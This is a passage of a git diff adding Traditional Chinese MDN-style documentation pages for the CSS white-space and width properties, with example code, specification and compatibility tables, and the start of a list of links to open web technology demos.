+   <td>{{SpecName('CSS3 Selectors', '#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>No changes</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#type-selectors', 'type selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#basic-concepts', 'type selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.selectors.type")}}</p>
diff --git a/files/zh-tw/web/css/white-space/index.html b/files/zh-tw/web/css/white-space/index.html
new file mode 100644
index 0000000000..eef166cc0e
--- /dev/null
+++ b/files/zh-tw/web/css/white-space/index.html
@@ -0,0 +1,425 @@
+---
+title: white-space
+slug: Web/CSS/white-space
+translation_of: Web/CSS/white-space
+---
+<div>{{CSSRef}}</div>
+
+<p>此 CSS <strong><code>white-space</code></strong> 屬性決定如何處理元素內的空白字元。</p>
+
+<div class="note">
+<p>提醒：如果要讓文字本身斷行，請改用 {{cssxref("overflow-wrap")}}、{{cssxref("word-break")}} 或 {{cssxref("hyphens")}}。</p>
+</div>
+
+<pre class="brush: css no-line-numbers">/* Keyword values */
+white-space: normal;
+white-space: nowrap;
+white-space: pre;
+white-space: pre-wrap;
+white-space: pre-line;
+
+/* Global values */
+white-space: inherit;
+white-space: initial;
+white-space: unset;
+</pre>
+
+<div class="hidden" id="white-space">
+<pre class="brush: html">&lt;div class="grid"&gt;
+&lt;div class="col"&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;normal&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspNormal"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;pre-wrap&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspPreWrap"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;pre-line&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspPreLine"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;nowrap&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspNowrap"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="cell"&gt;
+    &lt;div class="label"&gt;pre&lt;/div&gt;
+    &lt;div&gt;
+  &lt;p class="wspPre"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+    Nulla pellentesque metus eget massa feugiat lobortis.
+  &lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="note"&gt;
+    Examples above are applied to the following HTML (square represents white spaces):
+    &lt;pre&gt;☐☐&amp;lt;p&amp;gt;
+☐☐☐☐Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+☐☐☐☐Nulla pellentesque metus eget massa feugiat lobortis.
+☐☐&amp;lt;/p&amp;gt;&lt;/pre&gt;
+  &lt;/div&gt;
+&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+pre { margin-bottom: 0; }
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.row {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: row;
+  flex-wrap: wrap;
+  justify-content: space-between;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  box-sizing: border-box;
+  margin: .5em;
+  padding: 0;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: center;
+}
+
+.note {
+  background: #fff3d4;
+  padding: 1em;
+  margin: .5em;
+  font: .8em sans-serif;
+  text-align: left;
+  flex: none;
+}
+
+p {
+  width: 50%;
+  font: .8em sans-serif;
+  max-width: 100%;
+  box-sizing: border-box;
+  overflow: hidden;
+  resize: horizontal;
+  background: #E4F0F5;
+  padding: .5em;
+  margin: .5em auto 0;
+  text-align: left;
+}
+
+.wspNormal  { white-space: normal; }
+.wspNowrap  { white-space: nowrap; }
+.wspPre     { white-space: pre; }
+.wspPreWrap { white-space: pre-wrap; }
+.wspPreLine { white-space: pre-line; }</pre>
+</div>
+
+<p>{{EmbedLiveSample("white-space", "100%", 530, "", "", "example-outcome-frame")}}</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p> <code>white-space</code> 的特性值為下列其中之一。</p>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>連續的空白字元會被合併(collapse)，換行字元被視為空白字元。換行只在被文字空間限制時發生。</dd>
+ <dt><code>nowrap</code></dt>
+ <dd>對待空白字元的方式跟 <code>normal</code> 一樣，且會強制不換行。</dd>
+ <dt><code>pre</code></dt>
+ <dd>連續的空白字元都會被保留。換行在有換行字元以及{{HTMLElement("br")}}時發生。</dd>
+ <dt><code>pre-wrap</code></dt>
+ <dd>連續的空白字元都會被保留。換行會在換行字元、有{{HTMLElement("br")}}元素以及被文字空間限制時發生。</dd>
+ <dt><code>pre-line</code></dt>
+ <dd>連續的空白字元會被合併(collapse)。換行在換行字元、 {{HTMLElement("br")}}以及被文字空間限制時發生。</dd>
+</dl>
+
+<p>下列表格整理了各項 <code>white-space</code> 值的行為：</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th> </th>
+   <th>New lines</th>
+   <th>Spaces and tabs</th>
+   <th>Text wrapping</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th><code>normal</code></th>
+   <td>Collapse</td>
+   <td>Collapse</td>
+   <td>Wrap</td>
+  </tr>
+  <tr>
+   <th><code>nowrap</code></th>
+   <td>Collapse</td>
+   <td>Collapse</td>
+   <td>No wrap</td>
+  </tr>
+  <tr>
+   <th><code>pre</code></th>
+   <td>Preserve</td>
+   <td>Preserve</td>
+   <td>No wrap</td>
+  </tr>
+  <tr>
+   <th><code>pre-wrap</code></th>
+   <td>Preserve</td>
+   <td>Preserve</td>
+   <td>Wrap</td>
+  </tr>
+  <tr>
+   <th><code>pre-line</code></th>
+   <td>Preserve</td>
+   <td>Collapse</td>
+   <td>Wrap</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Basic_example">Basic example</h3>
+
+<pre class="brush: css">code {
+  white-space: pre;
+}</pre>
+
+<h3 id="Line_breaks_inside_HTMLElement(pre)_elements">Line breaks inside {{HTMLElement("pre")}} elements</h3>
+
+<pre class="brush: css">pre {
+  word-wrap: break-word;      /* IE 5.5-7 */
+  white-space: -moz-pre-wrap; /* Firefox 1.0-2.0 */
+  white-space: pre-wrap;      /* Modern browsers */
+}</pre>
+
+<h2 id="See_in_action" name="See_in_action">See it in action</h2>
+
+<div class="hidden">
+<pre class="brush: html">    &lt;div id="css-code" class="box"&gt;
+     p { white-space: &lt;select&gt;
+       &lt;option&gt;normal&lt;/option&gt;
+       &lt;option&gt;nowrap&lt;/option&gt;
+       &lt;option&gt;pre&lt;/option&gt;
+       &lt;option&gt;pre-wrap&lt;/option&gt;
+       &lt;option&gt;pre-line&lt;/option&gt;
+     &lt;/select&gt; }
+    &lt;/div&gt;
+    &lt;div id="results" class="box"&gt;
+    &lt;p&gt;    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+    Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+    Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+    &lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.box {
+  width: 300px;
+  padding: 16px;
+  border-radius: 10px;
+}
+
+#css-code {
+  background-color: rgb(220,220,220);
+  font-size: 16px;
+}
+
+#results {
+  background-color: rgb(230,230,230);
+  overflow-x: scroll;
+  height: 400px;
+  white-space: normal;
+  font-size: 14px;
+}</pre>
+
+<pre class="brush: js">var select  = document.querySelector("#css-code select");
+var results = document.querySelector("#results p");
+select.addEventListener("change", function(e) {
+  results.setAttribute("style", "white-space: "+e.target.value);
+})</pre>
+</div>
+
+<h3 id="Source">Source</h3>
+
+<pre>    &lt;p&gt;    Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
+
+    Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
+
+    Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.
+
+    Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.&lt;/p&gt;
+</pre>
+
+<h3 id="CSS_Result">CSS + Result</h3>
+
+<p>{{ EmbedLiveSample('See_in_action', '80%', '500px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Text', '#propdef-white-space', 'white-space')}}</td>
+   <td>{{Spec2('CSS3 Text')}}</td>
+   <td>Precisely defines the breaking algorithms.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html#white-space-prop', 'white-space')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>normal</code> and <code>nowrap</code>)</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>5.5<sup>[1]</sup></td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>pre</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+   <td>6.0</td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+  <tr>
+   <td><code>pre-wrap</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("1.9")}}</td>
+   <td>8.0</td>
+   <td>8.0</td>
+   <td>3.0 (522)</td>
+  </tr>
+  <tr>
+   <td><code>pre-line</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>9.5</td>
+   <td>3.0 (522)</td>
+  </tr>
+  <tr>
+   <td>Support on <code>&lt;textarea&gt;</code></td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("36")}}</td>
+   <td>5.5</td>
+   <td>4.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 5.5+ supports {{Cssxref("word-wrap")}}<code>: break-word;</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Properties that define how words break <em>within themselves</em>: {{cssxref("overflow-wrap")}}, {{cssxref("word-break")}}, {{cssxref("hyphens")}}</li>
+</ul>
diff --git a/files/zh-tw/web/css/width/index.html b/files/zh-tw/web/css/width/index.html
new file mode 100644
index 0000000000..9459dd32e9
--- /dev/null
+++ b/files/zh-tw/web/css/width/index.html
@@ -0,0 +1,294 @@
+---
+title: width
+slug: Web/CSS/width
+translation_of: Web/CSS/width
+---
+<div>{{CSSRef}}</div>
+
+<p>The <strong><code>width</code></strong> CSS property specifies the width of an element. By default, the property defines the width of the <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#content-area">content area</a>. If {{cssxref("box-sizing")}} is set to <code>border-box</code>, however, it instead determines the width of the <a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model#border-area">border area</a>.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;length&gt; values */
+width: 300px;
+width: 25em;
+
+/* &lt;percentage&gt; value */
+width: 75%;
+
+/* Keyword values */
+width: 25em border-box;
+width: 75% content-box;
+width: max-content;
+width: min-content;
+width: available;
+width: fit-content;
+width: auto;
+
+/* Global values */
+width: inherit;
+width: initial;
+width: unset;
+</pre>
+
+<div class="hidden" id="width">
+<pre class="brush: html">&lt;div class="grid"&gt;
+  &lt;div class="col"&gt;
+    &lt;div class="cell"&gt;
+      &amp;lt;length&amp;gt; values
+      &lt;p class="w1"&gt;width: 150px&lt;/p&gt;
+      &lt;p class="w2"&gt;width: 20em&lt;/p&gt;
+      &lt;p class="w3 warning" title="this feature is experimental and might not work in your browser"&gt;width: 20em content-box&lt;/p&gt;
+      &lt;p class="w4 warning" title="this feature is experimental and might not work in your browser"&gt;width: 20em border-box&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      &amp;lt;percentage&amp;gt; values
+      &lt;p class="w5"&gt;width: 75%&lt;/p&gt;
+      &lt;p class="w6 warning" title="this feature is experimental and might not work in your browser"&gt;width: 75% content-box&lt;/p&gt;
+      &lt;p class="w7 warning" title="this feature is experimental and might not work in your browser"&gt;width: 75% border-box&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="cell"&gt;
+      Keyword values
+      &lt;p&gt;width: auto&lt;/p&gt;
+      &lt;p class="w8 warning" title="this feature is experimental and might not work in your browser"&gt;width: max-content&lt;/p&gt;
+      &lt;p class="w9 warning" title="this feature is experimental and might not work in your browser"&gt;width: min-content&lt;/p&gt;
+      &lt;p class="w10 warning" title="this feature is experimental and might not work in your browser"&gt;width: available&lt;/p&gt;
+      &lt;p class="w11 warning" title="this feature is experimental and might not work in your browser"&gt;width: fit-content&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>sd</p>
+
+<pre class="brush: css">html,body {
+  height: 100%;
+  box-sizing: border-box;
+}
+
+.grid {
+  width: 100%;
+  height: 100%;
+  display: flex;
+  background: #EEE;
+  font: 1em monospace;
+}
+
+.col {
+  display: flex;
+  flex: 1 auto;
+  flex-direction: column;
+}
+
+.cell {
+  margin: .5em;
+  padding: .5em;
+  background-color: #FFF;
+  overflow: hidden;
+  text-align: left;
+  font-style: italic;
+}
+
+p {
+  font-size: 1rem;
+  font-style: normal;
+  background: #E4F0F5;
+  padding: .5em;
+  margin: .5em;
+}
+
+.warning {
+  background: #E4E4E4;
+}
+
+.warning:before {
+  content: "⚠️ ";
+}
+
+/*  values */
+.w1 { width: 150px; }
+.w2 { width: 20em; }
+.w3 { width: 20em content-box; }
+.w4 { width: 20em border-box; }
+
+/*  value */
+.w5 { width: 75%; }
+.w6 { width: 75% content-box; }
+.w7 { width: 75% border-box; }
+
+/* Keyword values (mostly experimental) */
+.w8 { width: max-content; }
+.w9 { width: min-content; }
+.w10 { width: available; }
+.w11 { width: fit-content; }</pre>
+</div>
+
+<div>{{EmbedLiveSample("width", "100%", 660, "", "", "example-outcome-frame")}}</div>
+
+<div class="note">
+<p><strong>注意：</strong> {{cssxref("min-width")}} 和 {{cssxref("max-width")}} 會覆寫 {{cssxref("width")}}.</p>
+</div>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The <code>width</code> property is specified as either:</p>
+
+<ul>
+ <li>one of the following keyword values: <code><a href="#available">available</a></code>, <code><a href="#min-content">min-content</a></code>, <code><a href="#max-content">max-content</a></code>, <code><a href="#fit-content">fit-content</a></code>, <code><a href="#auto">auto</a></code>.</li>
+ <li>a <code><a href="#&lt;length>">&lt;length&gt;</a></code> or a <code><a href="#&lt;percentage>">&lt;percentage&gt;</a></code>. This may optionally be followed by one of the following keywords: <code><a href="#border-box">border-box</a></code>, <code><a href="#content-box">content-box</a></code>.</li>
+</ul>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><a id="&lt;length>" name="&lt;length>">{{cssxref("&lt;length&gt;")}}</a></dt>
+ <dd>Defines the width as an absolute value.</dd>
+ <dt><a id="&lt;percentage>" name="&lt;percentage>">{{cssxref("&lt;percentage&gt;")}}</a></dt>
+ <dd>Defines the width as a percentage of the containing block's width. If the width of the containing block depends on the width of the element, the resulting layout is undefined.</dd>
+ <dt><code><a id="border-box" name="border-box">border-box</a> </code>{{experimental_inline}}</dt>
+ <dd>If present, the preceding {{cssxref("&lt;length&gt;")}} or {{cssxref("&lt;percentage&gt;")}} is applied to the element's border box.</dd>
+ <dt><a id="content-box" name="content-box"><code>content-box</code></a> {{experimental_inline}}</dt>
+ <dd>If present, the preceding {{cssxref("&lt;length&gt;")}} or {{cssxref("&lt;percentage&gt;")}} is applied to the element's content box.</dd>
+ <dt><a id="auto" name="auto"><code>auto</code></a></dt>
+ <dd>The browser will calculate and select a width for the specified element.</dd>
+ <dt><a id="fill" name="fill"><code>fill</code></a> {{experimental_inline}}</dt>
+ <dd>Use the <code>fill-available</code> inline size or <code>fill-available</code> block size, as appropriate to the writing mode.</dd>
+ <dt><a id="max-content" name="max-content"><code>max-content</code></a> {{experimental_inline}}</dt>
+ <dd>The intrinsic preferred width.</dd>
+ <dt><a id="min-content" name="min-content"><code>min-content</code></a> {{experimental_inline}}</dt>
+ <dd>The intrinsic minimum width.</dd>
+ <dt><a id="available" name="available"><code>available</code></a> {{experimental_inline}}</dt>
+ <dd>The containing block width minus horizontal margin, border and padding.</dd>
+ <dt id="fit-content"><a id="fit-content" name="fit-content"><code>fit-content</code></a> {{experimental_inline}}</dt>
+ <dd>The larger of:
+ <ul>
+  <li>the intrinsic minimum width</li>
+  <li>the smaller of the intrinsic preferred width and the available width</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="預設寬度">預設寬度</h3>
+
+<pre class="brush:css">p.goldie {
+  background: gold;
+}</pre>
+
+<pre class="brush:html">&lt;p class="goldie"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Default_width', '500px', '64px')}}</p>
+
+<h3 id="像素和相對大小">像素和相對大小</h3>
+
+<pre class="brush: css">.px_length {
+  width: 200px;
+  background-color: red;
+  color: white;
+  border: 1px solid black;
+}
+
+.em_length {
+  width: 20em;
+  background-color: white;
+  color: red;
+  border: 1px solid black;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="px_length"&gt;Width measured in px&lt;/div&gt;
+&lt;div class="em_length"&gt;Width measured in em&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Pixels_and_ems', '500px', '64px')}}</p>
+
+<h3 id="百分比">百分比</h3>
+
+<pre class="brush: css">.percent {
+  width: 20%;
+  background-color: silver;
+  border: 1px solid red;
+}</pre>
+
+<pre class="brush: html">&lt;div class="percent"&gt;Width in percentage&lt;/div&gt;</pre>
+
+<p>{{EmbedLiveSample('Percentage', '500px', '64px')}}</p>
+
+<h3 id="內容最大值">內容最大值</h3>
+
+<pre class="brush:css;">p.maxgreen {
+  background: lightgreen;
+  width: intrinsic;           /* Safari/WebKit uses a non-standard name */
+  width: -moz-max-content;    /* Firefox/Gecko */
+  width: -webkit-max-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="maxgreen"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('max-content_2', '500px', '64px')}}</p>
+
+<h3 id="內容最小值">內容最小值</h3>
+
+<pre class="brush:css">p.minblue {
+  background: lightblue;
+  width: -moz-min-content;    /* Firefox */
+  width: -webkit-min-content; /* Chrome */
+}</pre>
+
+<pre class="brush:html">&lt;p class="minblue"&gt;The Mozilla community produces a lot of great software.&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('min-content_2', '500px', '155px')}}</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-width-and-height-properties', 'width')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Added the <code>max-content</code>, <code>min-content</code>, <code>available</code>, <code>fit-content</code>, <code>border-box</code>, <code>content-box</code> keywords.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'width')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Lists <code>width</code> as animatable.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visudet.html#the-width-property', 'width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Precises on which element it applies to.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#width', 'width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Sizing', '#width-height-keywords', 'width')}}</td>
+   <td>{{Spec2('CSS3 Sizing')}}</td>
+   <td>Adds new sizing keywords for width and height.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("css.properties.width")}}</p>
+
+<h2 id="參考">參考</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">box model</a>, {{cssxref("height")}}, {{cssxref("box-sizing")}}, {{cssxref("min-width")}}, {{cssxref("max-width")}}</li>
+</ul>
diff --git a/files/zh-tw/web/demos_of_open_web_technologies/index.html b/files/zh-tw/web/demos_of_open_web_technologies/index.html
new file mode 100644
index 0000000000..5baa250a38
--- /dev/null
+++ b/files/zh-tw/web/demos_of_open_web_technologies/index.html
@@ -0,0 +1,144 @@
+---
+title: Demos of open web technologies
+slug: Web/Demos_of_open_web_technologies
+tags:
+  - 影片
+  - 網站
+  - 網頁
+  - 設計
+translation_of: Web/Demos_of_open_web_technologies
+---
+<p>Mozilla 支援豐富、廣泛且扣人心弦的網路公開技術，並且我們鼓勵使用他們。這個頁面提供一些展示這些有趣技術的連結，包含那些曾經在 Demo Studio 有人氣的，但<a href="https://blog.mozilla.org/community/2015/12/18/saying-goodbye-to-demo-studio/">現在已經落伍了</a>的技術。如果你知道有關於新的網路公開技術，不錯的展示或是應用程式，請將連結加到下方適合的區塊中。</p>
+
+<h2 id="2D_繪圖">2D 繪圖</h2>
+
+<h3 id="SVG" name="SVG">Canvas</h3>
+
+<ul>
+ <li><a class="external" href="http://www.blobsallad.se/">An interactive blob using javascript and canvas (fun)</a></li>
+ <li><a class="external" href="http://blobsallad.se/article/" title="http://blobsallad.se/article/">Blob's demos</a></li>
+ <li><a class="external" href="http://www.xs4all.nl/~peterned/3d/" title="http://www.xs4all.nl/~peterned/3d/">Canvas3D &amp; Flickr</a></li>
+ <li><a class="external" href="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html" title="http://arapehlivanian.com/wp-content/uploads/2007/02/canvas.html">Playing with Canvas</a></li>
+ <li><a class="external" href="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html" title="http://langexplr.blogspot.com/2008/11/using-canvas-html-element.html">Using the Canvas Html element5</a></li>
+ <li><a class="external" href="/samples/raycaster/RayCaster.html" title="https://developer.mozilla.org/editor/fckeditor/core/editor/samples/raycaster/RayCaster.html">RayCaster</a></li>
+ <li><a class="external" href="http://jsmsxdemo.googlepages.com/jsmsx.html" title="http://jsmsxdemo.googlepages.com/jsmsx.html">MSX Emulator</a></li>
+ <li><a class="external" href="http://processingjs.org/exhibition/" title="http://dev.jquery.com/~john/processing.js/examples/basic/">processing.js</a></li>
+ <li><a class="external" href="http://gyu.que.jp/jscloth/" title="http://gyu.que.jp/jscloth/">3D on 2D Canvas</a></li>
+ <li><a href="http://viliusle.github.io/miniPaint/">miniPaint - Image editor </a>(<a href="https://github.com/viliusle/miniPaint">source code</a>)</li>
+</ul>
+
+<h3 id="SVG" name="SVG">SVG</h3>
+
+<ul>
+ <li><a class="external" href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">Bubblemenu</a> (visual effects and interaction)</li>
+ <li><a class="external" href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> using <code>foreignObject</code> (visual effects and transforms)</li>
+ <li><a class="external" href="http://svg-whiz.com/svg/linguistics/theCreepyMouth.svg">Phonetics Guide</a> (interactive)</li>
+ <li><a class="external" href="http://www.lutanho.net/svgvml3d/platonic.html">3D objects demo</a> (interactive)</li>
+ <li><a class="external" href="http://www.themaninblue.com/experiment/Blobular/" title="http://www.themaninblue.com/experiment/Blobular/">Blobular</a> (interactive)</li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/video.svg">Video embedded in SVG</a> (or use the <a class="external" href="http://www.double.co.nz/video_test/video_svg.tar.bz2">local download</a>)</li>
+ <li><a href="http://summerstyle.github.io/summer/">Summer HTML image map creator</a> (<a href="https://github.com/summerstyle/summer">source code</a>)</li>
+ <li><a href="http://s.codepen.io/SoftwareRVG/debug/JRJZVW">SVG/CSS demo firefox developer edition</a> design by Rober Villar from Software RVG (<a href="https://github.com/SoftwareRVG/mde_design/blob/master/css_svg_dev">source code</a>) (<a href="http://s.codepen.io/SoftwareRVG/debug/JRJZVW">debug mode</a>)</li>
+</ul>
+
+<h3 id="Video" name="Video">影片</h3>
+
+<ul>
+ <li><a href="https://vimeo.com/172328210">Video 3D Animation "mozilla constantly evolving" Designed by Rober Villar ,SoftwareRVG developer.</a></li>
+ <li><a class="external external-icon" href="https://vimeo.com/173851395">Video 3D animation "Floating Dance" . Designed by Rober Villar , developer from SoftwareRVGdesignS.</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test1.html">Streaming Anime, Movie Trailer and Interview</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test2.html">Billy's Browser Firefox Flick</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test3.html">Virtual Barber Shop</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test4.html">Transformers Movie Trailer</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/test5.html">A Scanner Darkly Movie Trailer</a> (with built in controls)</li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/events.html">Events firing and volume control</a></li>
+ <li><a class="external" href="http://www.double.co.nz/video_test/video.svg" title="http://www.double.co.nz/video_test/video.svg">Dragable and sizable videos</a></li>
+</ul>
+
+<h2 id="3D_繪圖">3D 繪圖</h2>
+
+<h3 id="WebGL">WebGL</h3>
+
+<ul>
+ <li><a href="http://ondras.github.io/fireworks-webgl/">Web Audio Fireworks</a></li>
+ <li>IoQuake3 (<a href="https://github.com/klaussilveira/ioquake3.js">source code</a>)</li>
+ <li>Escher puzzle (<a href="https://github.com/micahbolen/demoscene">source code</a>)</li>
+ <li><a href="http://collinhover.github.io/kaiopua/">Kai 'Opua</a> (<a href="https://github.com/collinhover/kaiopua">source code</a>)</li>
+</ul>
+
+<h3 id="虛擬實境_(_Virtual_Reality_)">虛擬實境 ( Virtual Reality )</h3>
+
+<ul>
+ <li><a href="http://mozvr.com/demos/polarsea/">The Polar Sea</a> (<a href="https://github.com/MozVR/polarsea">source code</a>)</li>
